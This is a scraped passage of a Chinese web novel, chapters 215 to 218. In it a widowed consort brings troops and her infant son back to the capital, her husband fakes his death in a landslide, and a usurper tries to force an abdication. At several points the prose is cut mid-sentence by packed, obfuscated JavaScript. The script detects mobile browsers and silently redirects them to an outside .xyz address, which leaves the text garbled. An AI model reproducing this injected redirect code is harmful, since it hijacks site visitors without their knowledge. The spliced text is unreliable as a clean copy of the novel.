只见其一身秋香色长衫,乌云般的长发用白玉簪绾在脑后,不戴珠翠簪珥,很是随意的扮相,整个人素得像凉过后的开水。 她的怀里抱着银红撒花裹布襁褓,襁褓中是满月后的小王子,嘴里哼哼呀呀的。 “上次殿下说想一想,不知思虑得如何?”阿多图问道。 江念看了一眼怀里的孩儿,眼角眉梢都是柔意,头也不抬地说道:“想好了,回京都。” 阿多图一时没转过来,复问道:“殿下是说……回京都?” 江念“嗯”了一声。 这一下倒轮到阿多图忧惧起来,他的职责是保护江念,这是大王临走前千万叮嘱的,如今有了小王子,那么他就要护她母子平安,真要说来,京都就算生乱,他也不必管,他的使命是眼前二人。 他来此一问也是需得心里有数,知道接下来该当如何,梁妃若决定不去京都,那么他就随在此处,哪里也不去。 可她刚才却说回京都。 “殿下上次顾虑小王子的安危,怎么……” 江念这才抬起眼,看向阿多图:“京都一定要回的,那里有他父亲留给他的东西,不能平白让给他人,只是,不是现在动身,还需再等等。” “等?等什么?”阿多图问道。 “等一个人,他来了,咱们就可动身回京。”江念目光放远,落到院中的花木上,“算着时间,快了。” 阿多图没再细问。 又过了几日,阿多图正在调配府中护卫,一个门子慌张跑来,扬手指着府门的方向,声气不接地说道:“大人……门前好……好多兵……” 阿多图心里一凝,旋即带人出到府门,定目一看。 只见门前黑压压一片军兵,阿多图被这一景象震了片刻,很快回神,眼睛落到为首的魁伟男子身上,那人亦回看向他,抱拳道:“阿多图大人,别来无恙。” “别来无恙,达鲁将军。”阿多图趋身下阶,迎了过去。 达鲁翻身下马,同阿多图上前厮见,又转头让副将带兵守于府外,同阿多图进到府内。 下人已往前通报于江念,二人一入府中,径直拜见。 江念见了达鲁,让他起身。 达鲁起身侍立。 原是江念在孩子落草后,她就写了一封信让秋月送去驿站,寄往夷越东境。 她预料到呼延吉的死讯传到京都,势必会掀起一场风雨,若贸然带孩子回京,无异于羊入虎口,以前他在时,他能护着她,如今他不在了,为了孩子,她必须得振作起来,为他们的孩儿争一争。 绝不叫他勤恪守护的帝业落于他人之手。 “达鲁将军带了多少兵马?”江念问道。 达鲁肃声道:“步兵六万,骑兵四万,共计十万人马,俱已屯于城外,只听殿下一声令下,便可直驱京都。” 一旁的阿多图握紧拳头,气血翻涌到胸口,再次看向江念的眼神大不一样,他真没想到,江念居然一早就料到了危情,并想办法千里调兵! 江念点了点头,正待说什么,方嫂抱着孩子在门外探头探脑,江念招手让她进来。 “怎么了?” 方嫂先是眼神躲闪地看了一眼屋里的达鲁,不敢走得太近,这人身上煞气好重,于是兜抱着孩子,夹着步子走到江念身侧。 “不知怎的,一直哭哩!乳母才喂过,也不讨觉睡,就是哄不好。” 江念紧张地从她手里接过孩子,也是奇了,那孩子一到她怀里,就安静了,破涕为笑,见孩子笑了,她的一颗心这才松缓,逗弄他说道:“朔儿调皮了,是不是?” 那孩子咧着无牙的嘴,咯咯笑起来,显得很开心。 江念垂着颈儿,看着怀里的孩子,轻声道:“朔儿,咱们可以回京都了,那里是你的家,你也开心,对不对?” 孩子像是听懂了,“呃”着哼哼了一声,然后又咯咯笑起来。 达鲁看着眼前的一幕,心底对自己说,就算搭上性命,也要护好梁妃殿下同小王子,以报恩情。 江念叫秋月进来,引着达鲁先去休息,预备次日出发。 出发的前一日,秋月遣散了府里的奴仆,一一发了遣散银,方嫂也领了银子,特意到江念跟前谢恩。 方嫂是个灵活且聪明的妇人,先前她认为江念是夷越哪个权贵豢养的外室,若是外室,孩子出生后,那男人多多少少要来几次,却是一次也没来过,这就可怪。 再后来见灶屋里的几个药膳女婢,其礼数不似一般大户人家的婢子,她行走过那些大户人家,不是没见识过,相较之下,那些大户人家的婢子在那几个灶屋药膳女婢跟前就不够看了。 这些人行止间就跟标着尺一样。 再加上院中的那些高大护卫,尤其是那名叫阿多图的护卫头领,分明是武将之风姿。 心里已有隐隐的猜测,如今又出现这么一场滔天震动,还有什么不清楚的。 “这些时日,多谢嫂子照顾我和孩儿,有你从旁说笑,这院子里总是亮堂堂的。”江念说道。 方嫂双膝跪下,向上磕头行礼,说道:“奴妇惶恐,敬奉不周全,此去愿夫人同小主子平平安安。” 江念默默念着,平平安安,然后看了秋月一眼,秋月上前将方嫂扶起。 “奴妇离去前,可否再抱一抱小主子?”方嫂问道,她从前替人接生完领银子走人,这段时日相处下来,彼此间也有了感情。 乳母抱来孩子,方嫂接到怀里逗弄了一会儿,交还于乳母,最后同江念辞别而去。 江念走出屋室,立于门首下,望向远方的天际,眼神悠远且坚韧。 次日一早,一行人起身,在大部兵马的环伺中往京都行去…… …… 再说另一端…… 那日,呼延吉在府邸休整一夜,人已骑于马上,正待回京都,却收到一封信报。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674589|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>上面说,大梁朝廷同梁东境的恒王联合压入梁西境。 于是不得不放下回京的念头,转而去了营寨,立马召集手下升帐议事。 主帐内,标志性的长形木桌,上面铺陈一幅舆图。 呼延吉立于桌头,并不开口,默然地听着众将纷纷道述眼下的危机况景。 “他们要来就来,还怕这群虾兵蟹将不成?”一大胡子将领莽声道。 另一将领道:“话不是这等说,他们独自来,自然是不怕,就怕前后围杀,再使出伎俩,届时也难以招架。” 这时又一人插话进来:“而且……梁东境的恒王兵马骁锐,猛将如云,这般虎狼之师,并非梁室朝廷那些酒囊饭袋可比。” 先前那位大胡子将领喝声道:“怎能长他人志气,灭自家威风。” “你个大胡子,只知一味逞强,知己知彼方能……” 这方还未说完,那方又叫嚷起来,一时间帐中好不热闹。 呼延吉并不制止他们,随他们呼喝,只是一双眼盯在舆图上,凝着眉目不知在思索着什么。 一边的昆善见了,忙叫那几人止住声息:“别扰了大王。” 几名军中大将赶紧停下争执,俱看向上首的君王,反正不论大王说什么,只要他一句话,哪怕叫他们把头伸出来给人砍,他们都还争抢着做第一个。 一时间,主帐中安静地只听到帐外军兵的操练声。 众人见君王的一双眼虚飘在舆图之上,更像是空浮着,好似他并没有真正看那图,只是思考之时,舆图承载了他的目力。 过了一会儿,就见他双臂环胸,其中一只手的食指有一下无一下地点着,突兀地来了一句:“他们也不是铁板一块。” 君王发话,底下人自然要费尽心思揣摩,不过仅凭一句话,都有些摸不着这话里更深的意思。 只有昆善说道:“王的意思是再像上次那样使用离间计?” 呼延吉摇头道:“非也,离间计用在此时不妥,显得拙劣。” “那王的意思是?”昆善亦想不出,不过料定大王已有计策。 “梁帝同恒王积怨甚深,尤其是李恒对梁帝必是恨入骨髓,这次他二人联合,必是梁帝以驱逐异族为说辞,叫李恒同他联手。”呼延吉两眼微微觑起,接着说道,“以我对李恒的了解,他恨梁帝比恨我多,绝不会因这么个理由同梁帝联合。” 昆善眼中一闪,说道:“王的意思是……” “李恒不是梁帝那蠢厮,他肯同梁帝联合定是欲在中间行诈,让我们同朝廷兵马相杀,最后他好渔翁得利。”呼延吉说道。 其中一名军将说道:“纵使知道他的伎俩,我方却被逼入此境,无法化解。” 呼延吉扬唇笑道:“将军此言错矣,既然知道症结,对症下药即可。” 众将相互对看,齐齐转头看向上首,说道:“大王可是有应对之策了?” 呼延吉双手撑于桌案之上,说道:“乾坤在握,只待落子……” 第215章 呼延吉真**? 众将得知君王已有计策,围拢上前。 呼延吉点了点桌案,说道:“李恒打着渔翁得利的主意,谁又知梁帝有无他图,双方本就各揣心思,中间的纽带风一吹就断,若我们在,他们为友,若我们不在呢?各位说说看,他双方是个什么境况?还能并肩作战否?” “自然不能。”众将齐声道。 呼延吉继续说道:“只需使一计‘金蝉脱壳’,梁朝廷和恒王兵马没了共同的敌人,自会内讧,让他们去斗,我们只需隔岸观火,待他们争出高低,我方以逸待劳,全力攻打得胜的一方,梁西境这块肥肉尽入我夷越彀中。” 众将听罢俱大笑出声,交口称赞不绝。 笑过后,昆善又问:“只是该如何‘金蝉脱壳’?” “这也好办,寻一处山道,山阜上**方旌旗,山体埋些硝石、硫磺制成的**,等梁军入境后,对方的探子必会前来探报,我方兵卒于山间鸣锣击鼓,一来刻意暴露行迹,二来掩盖**声,再做出兵马行入山口的假象。”呼延吉说道。 下首的大胡子恍然粗声道:“王的意思是,等梁国鼠辈靠近之时,我方引爆**,山体轰隆掩埋,让守望在附近的小兵散布消息,就说大王带兵途经此处,最后被石头砸死掩埋。” 另一将领怼了大胡子一拳,斥责他:“你嘴巴说话注意些,什么君王被砸**……”意识自己说了什么,呸呸两声。 其他人跟着笑出声,昆善笑着摇头:“接下来,我夷越兵无主,军皆溃散,自然也就不足为惧,此乃‘金蝉脱壳’之计。” “不错。”呼延吉点头道。 “只是……”另一名将领欲言又止。 呼延吉看去,示意他继续往下说。 “卑将认为若是山体滑落,必是经过淫雨冲刷,这才说得过去,否则人为痕迹太过明显。” 呼延吉思忖片刻:“葛萨将军所言甚是,如今梁境这个时节,秋霖不绝,不上三两日就有雨水,正是天假其便。” 众人纷纷点头称是。 待众人散去后,昆善仍留于帐中。 “昆将军还有事?” 昆善想了想,启口道:“可要修书一封送往京都告知内情?” “不必,李恒这人心思缜密,对付他万不能掉以轻心,做不到以假乱真,瞒不过他。” 呼延吉思虑过,一旦他的死讯传出,京都定会生乱,他倒不怕乱,就怕他不乱,只是唯有两人叫他惦记,一个是生母高氏,一个便是妻子**。 京都那边他需得瞒严实,太后本就待他不算亲厚,想来她对他的死不会太过伤感,只是江念那边,好在她居于荣水湾……待他找个时机,给她去一封书信说明,只是这个关口还不行。 昆善点了点头:“微臣担心大王战殁的消息一旦传出,京都那边恐会不安宁……” 呼延吉眼睛往下一压,说道:“我正愁这些宵小藏得深,待他们尽数浮出水面,再连根拔起,碾为齑粉。”说罢转头看向昆善,“将军说是也不是?” 昆善心道,届时也不知哪个倒霉鬼往这位的枪尖上撞。 一切商议已定,之后的行动细节,无需呼延吉另外吩咐,自有手下人操办。 这中间,夷越探兵频繁观报梁军动向,终于,梁军入了西境,时机成熟,夷越启行“金蝉脱壳”之计。 消息传到恒王军帐之时,众人一时间不知真假,一来呼延吉那般人物就**?二来未免太过巧合。 于是遣人再探,结果得到的消息就是呼延吉兵行于山道间,死于山崩,此事并非秘密,西境早已传开。 李恒召众人聚首于帐中。 “众位将军如何看?” 其中一名周姓大将说道:“倒也不无可能,本是秋季,雨水多,山体滑坡也是常见,论他呼延吉再骁勇也一人身尔,怎敌得过自然之危。” 另一位李姓大将说道:“探报如何说?可有去那山道勘探过?” “差了几路人马探看,山路阻了,倾塌得厉害,全然无法进入,不过有发现夷越残旗,应是幸存兵卒弃的。”其中一人说道。 帐中安静下来,只有火炉里的木炭烧得噼啪响,星火飞起。 李恒拢了拢肩上的鹤氅,目光往下一扫,最后落到江轲的身上。 “江将军,你如何作想?” 江轲怔着好似没听到一样,直到李恒又唤了一声,他才回神,只道出四个字:“时也,命也。” 这时,一名大将朗笑出声:“呼延吉也有今日,正所谓,善人自有天助,恶人自有天收,这便是他的命劫。” 李恒端坐于上首,俊朗清癯的面庞并未因这一消息显露太多的情绪,只听他说道:“再派人去呼延吉城中的府邸探看,是否办丧。” 堂中一副将领命,正待离去,却又被李恒叫住:“若呼延吉身死,信报兵必会急报于王庭,着人于城郊拦截信报。” 副将应诺而去。 “殿下怕呼延吉诈死,所以截获送往王庭的信报?”那名周姓将军问道。 “不错。” 帐中众人点头道:“还是殿下缜密周到。” 李恒有些担忧地看了一眼江轲,不过这时他也不好说什么,于是同众将探讨下一步该当如何,只有江轲仍是发怔。 呼延吉**?前不久才在一起畅饮,真论起来,呼延吉八岁赴梁为质,他二人亦兄亦友,后来呼延吉十五岁回了夷越,如今两人皆是二十出头,算起来,自梁国一别,不过短短几年,且在徽城又重逢过。 那一别就是永远。 太过突然,江轲有些不知该用何种态度面对,一方面,他二人是敌对阵营,战场上刀剑相向不讲私情,无疑,他同呼延吉有这一共识。 可真当他听到呼延吉命殒,又说不出那种感觉,称不上悲恸,但事情不应该这样啊。 还有,呼延吉不在了,阿姐怎么办,她得到消息没有?她若知晓,肯定承受不住,耳边的商讨之声还在继续。 “若呼延吉身亡,咱们接下来该当如何?”其中一人问道。 此话一出,众人看向上首,等待示下。 李恒嘴角挂着一丝几不可见的笑意:“老天替我们除了呼延吉这一劲敌,剩下的不足为惧。” 众将明白其意,纷纷得意地大笑起来。 晚间,江轲寻到李恒面前,就要辞去。 李恒静了一会儿,说道:“你是想去夷越接你阿姐?” 江轲点头:“呼延吉一死,阿姐没必要在夷越待下去,我得把她接到身边。” “你要去我不拦你,只是我不建议你这个时候去夷越。” “为何?” “呼延吉为夷越之君主,有他在时,夷越人尚能同梁人和平共处,他如今不在了,且两国酣战,你死我活的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他叫她坚强一点,保护好他们的孩儿,他也不知自己为什么说这个话,好像顿涩的思想同躯体分开的,嘴里就是说了出来。 她又问,他们的孩子叫什么名字,他说,呼延拓,说完这个名字,他就醒了,骤然一醒,心悸和那股难受劲仍在心头震荡。 平了平思绪,心想着,若自己亡故的消息传到江念那里,她必心殇不已,决定等梁朝廷和恒王真正交锋后,派遣一人赶往荣水湾给她报个信儿。 可人算不如天算,从梁西境到荣水湾路途艰阻,等那人跋涉千里赶到荣水湾时,那座私宅已人去楼空,上面又一再交代径到荣水湾,不可绕去京都,就这么阴差阳错的误了。 话往回叙,彼边,李恒叫人拦截流星马,截获了信报,直到这一刻他才信呼延吉身殒。 这一消息的证实,李恒当下挥兵同梁朝廷搦战。 朝廷兵本就外强中干,不如李恒军兵骁锐,又被打了个措手不及,应对很是艰难,但朝廷兵胜在人多,一时间战况难分上下。 可怜那孙源自以为立了大功一件,同李恒定议毕,就带着一行人启程回大梁京都,原以为待他归去,等着他的会是赞誉厚赏,因他脚程慢,结果后发的战报同他一齐到了京都…… 第216章 囚禁 朝廷收到边关信报,呼延吉身死,结果恒王兵马转过头把矛头对向朝廷,意在独吞梁西。 梁帝为之震怒,那孙源才一进入京都城,连府邸也没回,就被下到牢狱之中,邀功不成最后反送了性命。 由于夷越军溃散逃走,梁帝同恒王从盟方转瞬之间敌对,一场激战在所难免,端看最后鹿死谁手。 …… 彼边,朵家府邸…… 朵尔罕自打上次夜访祥云殿后,听高太后说江念并非在寺庙祈福,而是往赴边境,一时间叫他有些踟蹰。 不得不承认,他仍是忌惮呼延吉,哪怕他**,只要提起他的名字,他仍有些发怵。 如果真如高太后所说,梁妃并未去寺庙祈福,而是跟在呼延吉身边,那么这女人的行踪就至关重要。 到底呼延吉是生是死?他觉着生的可能性不大,多半人已经没了,眼下的况景就是最好的依撑。 只是……这个梁女到底去了哪里?这一犹豫就是好些天,落后再一想,左右已到了如今境地,没了退路,这样千载难逢的机遇,是上天的赐予。 于是再次领兵去了王庭,这一次务必让高太后授禅位诏书。 他本想着,只要禅位诏书上言明君王未延王嗣,由他朵尔罕统掌夷越王权,一来名正言顺,二来天命所归。 太后若不要这份体面,就不能怪他了。 祥云殿中,高太后正用着早饭,人年纪大了,吃得本就少,这会儿吃得更少,一碗清粥吃了半晌,只减了几勺子,面前的菜更是动也未动。 金掌事见了劝道:“太后多少再吃些,身体重要,待梁妃殿下回了,您没个好身子怎么行?她一向孝顺您,见了只怕也心疼。” 圣太后如今全凭一股意念撑着,实则精神在听到大王身殒的那日已经垮掉,这股意念有不甘心,亦有她说的那句“活要见人,死要见尸”。 世间一大悲,莫过于白发人送黑发人,而且还是两个那般优秀的黑发人。 成王弥留之时,太后守在他的身侧,可吉王却连个尸身都没有,太后待小儿子本就轻慢,如今连他最后一面也没见到,怎不叫她恸伤,然,追悔莫及。 她只能拿梁妃出来劝她,梁妃同大王联系最为紧密,好叫圣太后打起精神,起码有一丝盼望。 果然,圣太后点头道:“不错,这王庭还得我撑着,可不能这个时候倒了,叫朵贼趁意。” “正是。”金掌事用箸拈了一片细软的鱼肉糕,放入太后跟前的碟中,“这鱼肉里的刺都剔了,碾成肉糜,再用模子套形,您尝一尝,可是鲜嫩。” 高太后刚用箸拈起,还未入口,殿里径直进来一人,正是朵尔罕,随在他身后的是乌涣涣的青甲兵,王庭亲卫阻拦不住。 入朝不趋,赞拜不名,剑履上殿,朵尔罕比之更甚。 “大胆!太后正在用膳,你怎敢擅闯!”金掌事呵斥道。 朵尔罕假模假样地双手端于胸前,躬身行礼,不待高太后出声免礼,径自坐了下来,全然不把太后放在眼里。 “老臣再给太后一个时辰,太后可以慢慢享用饭食。”说罢,一抬手,身边的亲随立时拿出一个沙漏,放到桌案上。 高太后在那个沙漏上扫了一眼,面无表情地缓缓起身,离了餐桌,重新威坐于上首的宝座之上。 “一个时辰?朵大人不妨把话说明白些。”高氏说道。 朵尔罕拈髯轻笑道:“拿过来。” 亲随上前,双手承上一卷轴。 金掌事趋阶而下,从那名亲随手里接过,转呈到高太后面前。 高氏接过,展开一看,一脸霜色,朵尔罕竟敢亲拟禅位诏书,于是一把将卷轴掷到阶下:“逆贼当诛!” 朵尔罕丝毫不恼,说道:“逆贼?老臣可当不得一个‘逆’字。” “妄图谋权篡位,不是逆贼是什么?”高太后冷声道。 朵尔罕仍是那副老神在在的姿态,一张蜡脸似笑非笑地说道:“老臣这是顺应天命,呼延氏气运已尽,连个后嗣也无,这是老天看不下去降下的天罚,夷越不可无主,老臣只好勉为其难承下重责,这不是顺应天命?” 朵尔罕给亲随睇了一个眼色,亲随上前把地上的卷轴拾起,立在阶下,面对高太后的方向躬下身,做出双手呈递之态,看似恭谦,实是相逼。 朵尔罕又道:“太后也当顺应天命,在这份诏书上落下玺印,要知道逆天而行,不会有好下场。” 高氏冷笑一声:“朵大人这是在威胁本殿?当真从未见过如朵大人这般厚颜无耻之人。”说罢,睨了一眼阶下的卷轴,“我若不落玺印呢?” 朵尔罕撩开衣摆,跷起腿,不疾不徐地说道:“无妨,太后您落不落印,也就只这一个时辰,时辰一到太后仍不落印,老臣就要得罪了。” 阔大的祥云殿外不见银甲的亲卫,换成了朵家的青甲兵,殿内,高太后端坐于上首,阶下立着一位手执卷轴之人,朵尔罕坐于左边一溜排的一张椅上。 他手边的桌案上放着一个沙漏,好像一切都静止,只有里面的金沙缓缓地流动着,减少着…… …… 京都城门卫正待换值,忽感地面震荡,尘土遮天蔽日。 “怎么回事?!”一个城门卫奔下城头。 其他的城门卫亦紧张地往远处眺望,为首的侍卫长眼见不对,当下吩咐身边人:“报知当值禁军,速去!” 朵家在城外屯有几万兵甲,难道是朵家的青甲兵?若真是,京都只怕要彻底变天了。 这么大的动静引得进出城的百姓立在城门前观望。 这几日阿史勒正愁烦,圣太后被拘禁于王庭,朵尔罕以太后之安危扼住所有人的咽喉。 他手上虽有禁卫,却要顾及太后安危,又要提防城外驻扎的朵家私兵。 一旦战起,城中百姓少不得受池鱼之殃,这是他不愿见到的。 这时,崔致远走了过来,坐到他的对面,只是坐着,两人默默地看着眼前的满塘荷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见他拔起那支箭矢,举在自己身前,慢慢地往前移动,移一段距离就把箭往地上一插,示意墙头众人,自己没有越箭,仍是立在它的后面,然后再拔起,举箭于胸前,移动一距离,再次插入身前的地面。 示意众人,箭在前,人在后,他没越箭。 把一众人气得破口大骂,这……这是何等的无耻呐! 那人又往前行了一段,正待再次把箭矢从地面拔出,刚迈出一只脚,立时“嗖嗖嗖——”几声,接连十来支箭矢从天落下。 那人慌得不敢再动,低头一看,十几支箭羽围成一个圈,将他囚困在内。 “再往前一步,死!” 话音刚落,就见那人举起双手,挥摇不止,口中高声地叫喊着什么。 “他在嚷什么?”其中一个禁卫问道。 “我也听不清。”另一人答道。 人就是这样,越是听不清,就越是想听,于是乎,在好奇心的驱使下,一个个屏声敛气地侧耳去听,那人到底在嚷什么…… 第217章 梁妃还朝 墙头众人见那人困在利箭围成的圈内,一面激动地挥手,一面急地跳脚,嘴里还不停地叫嚷着。 城外的风很大,人声很快被吹散,不过因着众人有意听取,隐隐听明了一点,再从模糊的字音里和谱,得出下面三个字: 自己人! 众人心里得出一个答案,再听那人的叫喊,就清晰多了。 “自己人——” “自己人呐——” “咳咳——”估计喊破了音,那人佝偻着身子猛地一阵咳嗽。 崔致远从墙头觑眼看去,越看越觉着身形眼熟,心里紧张起来,等那人再直起身,崔致远定目一看,惊声道:“鱼九!” “崔大人认得此人?”阿史勒问道。 崔致远抬起手臂,指着远处,激动地说道:“有救了!有救了!是达鲁将军,达鲁来了!” 说罢一把擒住阿史勒的腕子,言语都跑了调:“这人是达鲁的副将,叫鱼九,快,打开城门,你我二人出城迎接!” 阿史勒听说,追问:“当真?!” “再真不过,就是鱼九,定是达鲁叫他先行交涉,怕双方误伤。” 达鲁这人阿史勒虽未结交,却也识得,当下不再犹豫同崔致远一道下了城头,急命打开城门。 城门一开,崔致远纵马奔出,跑近了,往那人脸上一望,不是鱼九却又是谁,又看了一眼他脚边的箭,笑骂道:“也只有你做得出来。” 鱼九搔了搔后脑,笑道:“大将军叫我前来交涉,结果我近前不得,说的话你们又听不清,只能冒险前行。”说罢,看向崔致远身侧的阿史勒,抱拳道:“阿史大人,我们将军前来助你护城。” 阿史勒提着的心终于放心,心情大好,形势扭转只在眨眼之间,此时城中众将亦策马赶了过来。 “走,带我们去见达鲁将军。”阿史勒说道。 鱼九看向脚下的箭矢,问道:“小的能出来了?” 众人听后,朗声大笑起来,怎能不开心呢,他们如今面对的最大问题就是朵家,朵家倚仗私兵,在京都城一手遮天,可如今有了外援,就不一样了。 “小兄弟可以像刚才那样,把箭**,这次保证没人敢射你。”其中一名年长的禁军将领说道。 鱼九呵笑道:“我看还是算了,只望各位大人莫要把刚才的事告诉我们大将军就好。” 众人笑着摇头。 鱼九牵过自己的马,翻身而上,突然想起一事,猛地拍响额头“呀”了一声。 “怎么一惊一乍的?”崔致远说道。 “差点忘了一件重中之重的事情。”说着在马背上向阿史勒抱拳道,“还请大人让下人准备一驾豪大的乘辇,越豪华越奢丽越好。” 阿史勒不明其意:“准备这个做什么?” “为梁妃殿下和小王子备的。” 这话又是叫众人震在当场,梁妃?小王子?哪国的小王子? 那位年长的禁卫将领这么想,便问了出来:“哪国的小王子?”难道是周边城邦的王子? 鱼九摇头摆脑,颇为自豪地说道:“还能是哪国的小王子,当然是我们夷越的小王子。” 又是一阵风过,众人渐渐明白这话里的意思,一时间又惊又喜,惊的是寻到了梁妃殿下,喜的是梁妃诞下王嗣,延续了王室血脉。 阿史勒忙叫手下人进城,备豪辇出城迎接。 崔致远本是死灰的心,在听到江念诞下王嗣后,又活了过来。 大王出事后,他曾担心江念的安危,料想朵尔罕一定不会放过她,果不其然,朵尔罕派人往周围寺庙搜寻,好在没有找到她的人。 照这么说,呼延氏并未绝止,既然大王有子息存留于世,绝不能让朵尔罕僭越,染指王室权柄。 当下问向鱼九:“是梁妃殿下去信与你们?” 鱼九答道:“正是,大将军接到梁妃殿下的书信,一刻不敢耽误,一路抄近道,星夜驰来。” 阿史勒再次确认:“梁妃现下同达鲁将军在一处?” 鱼九应是。 众人不再多言,朝一个方向飞马而去。 …… 城中百姓以为要打仗了,又见城中禁军整列于城门前,一个个全躲回了家中。 两军交战在际,他们除了自己的屋子,哪里也不愿去,哪里也去不了,小屋是他们一辈子的积攒,是他的家,危难之时只想同自己的家人守在一起。 大家伙躲在屋内,却时刻留意着外面的动静。 阿重家是做簪花生意的,他虽是名男子,却也手巧,靠着簪花的手艺养活几个弟弟妹妹。 他家就在京都大道临街的位置,既是铺子,又是住宅,一室两用。因知道要打仗,拉着弟妹几人躲回家中,敛声屏气听着街道上的动静。 他们这些王庭脚下的老百姓,哪怕就是不关心国事之人,家国之事多多少少也会溜进他们的耳中。 朵家趁着大王战殁,想要**。 老百姓们并不痴蠢,心里自有一杆秤,知道谁好谁坏,谁忠谁奸。 他们的少帝自十五岁登基以来,勤理政务,先因兵微将寡不得不御驾亲征,在他的统御之下,夷越迅速强大起来,连大梁也不敢小觑他们。 每次君王亲征,京都百姓都会去寺庙拜一拜,给他们的君王祈福,盼望他凯旋。 当得知大王的死讯后,百姓们恸哭不止,整个京都蒙上一层灰气。 然而,朵尔罕趁机围禁了王庭,其目的昭然若揭,现下朵家兵马兵临城下,这是要同守城的禁军开打了? 阿重将窗户支开一条缝隙,觑眼往外探看,衣摆被拉了拉。 “阿兄,我们是不是会死?” 阿重低下头,见是自己的小妹,抚着她的头,说道:“不会的,都中禁军会保护我们的。” 立时又围拢上来两个小儿,争说道:“真的么?” 其实阿重也没底气,却不想叫自家弟妹害怕,于是安慰道:“当然,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15683968|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定会把那些人打得落花流水,打得他们裤子也没得穿,让他们一个个光着屁股蛋逃走。” 几个小儿被逗笑了,还有一个攥起小小的拳头,向空中挥击:“打坏人!打得他们哭爹喊娘!”说着拉住他阿兄的手,满眼期望:“阿兄,等我长了也要当禁军,保护京都。” 阿重笑着摸了摸他的头,唯有一声无奈的愁叹,他拼了命地挣钱、省钱,好不容易积攒了一点钱资,租下这间店铺,让弟妹们有了落脚之所。 白日店铺用来做生意,闭店后,这里就是他们的小家,京都城治安好,生活极便利,邻里间又和睦,真真是再好不过,然而,才安稳下来的日子又要没了。 正想着,街道传来巨大的响动,是马蹄纷沓声,是兵甲铿锵声,是车轮辘辘声…… 再然后,忽听得一声金锣震耳,锣声未歇,仪仗齐喝: “梁妃殿下与小王子还朝——” “梁妃殿下与小王子还朝——” 唱喝之声传遍街头巷尾。 阿重听得清清楚楚,此时没有人听不清楚,梁妃殿下还朝,还有小王子还朝,小王子!那不就是…… 只闻得门窗开阖声,再然后是挤出门的人声,人声开始沸腾起来。 阿重将窗户打开,往外探去,不过眨眼的工夫,街道两边已挤站了许多人。 “阿兄,我们也要出去看小王子。”其中一个小小子说道。 “阿兄,小妹想去看梁妃殿下,殿下是天底下最美的人儿。”另一个小丫头说道。 一时间,你一句我一句地嚷嚷起来,哪还有刚才紧张绝望的气氛。 阿重被他们吵闹得不行,再加上街上的欢闹声一阵大过一阵,自己也想出去看个究竟,于是带着弟妹们出了屋子。 几人一出门,灵活地扒开人群,钻到人前,就见远处行来一驾四马并驱的高大金辇。 前有军兵喝道,后围随齐整的精锐兵马,势如江潮海浪。 金辇出现,街道两旁的百姓纷纷伏地跪拜,再抬起头,虔诚地望向辇中人。 只见其身着银白打底桅黄镶边的大袖宫装,胸前挂着九环碧海珠,乌云般的发辫盘成一个髻,没有任何华丽的头饰,只在侧鬓间簪上珍珠攒成的细白花,素淡着一张绝美的脸,端雅不媚俗。 她的怀里抱着一个襁褓,那一定是他们的小王子?! 京都许多人都见过梁妃殿下,当他们看见她时,目光再难移开,随着她的金辇缓缓移动。 喝道者依旧高声道:“梁妃殿下与小王子还朝——” 道路两边的百姓随喝道:“恭迎梁妃殿下与小王子——” 此时,无人不激动,甚至有人恸哭起来。 禁军开道,金辇沿行一路,呼声载道。 江念看着眼前的景象,起身,怀抱着襁褓走到金辇外,露于万万百姓面前,上位之尊尽显。 百姓们的呼声更加高涨:“恭迎梁妃殿下与小王子——” 第218章 让祖母抱一抱 此时,晨间的雾气已退去。 金乌高挂,祥云殿笼于金辉之下,殿前的绿树白栏闪灼,恍如天上宫阙一般。 金光铺上殿阶,一点一点漫了上去。 沙漏里的细沙脚步不停,上半部的细沙流到了下面,没有任何情绪地流动着。 朵尔罕的耐心同上面的细沙一样,愈来愈少,只听他沉声道:“拿上去。” 那名阶下僵站了近一个时辰的亲随公然走到高太后身侧,承奉出卷轴,说道:“圣太后落玺。” 高太后睨向卷轴,仍是稳坐不动。 朵尔罕看了一眼手边的沙漏,说道:“太后这是何必,您落印,日后仍是这夷越最尊贵的人,颐养天年不好?” 到了这会儿,高太后也不顾什么了:“呸!本殿的尊贵是上天赐予,可不是从你这狗贼手里讨得。” “你就不怕……” 朵尔罕话音未息,高太后笑了起来,苍沉的笑声荡在阔大的殿堂。 “本殿有甚可惧的,该怕的应是你这逆贼,以下犯上,待我儿回来,定将你千刀万剐!” 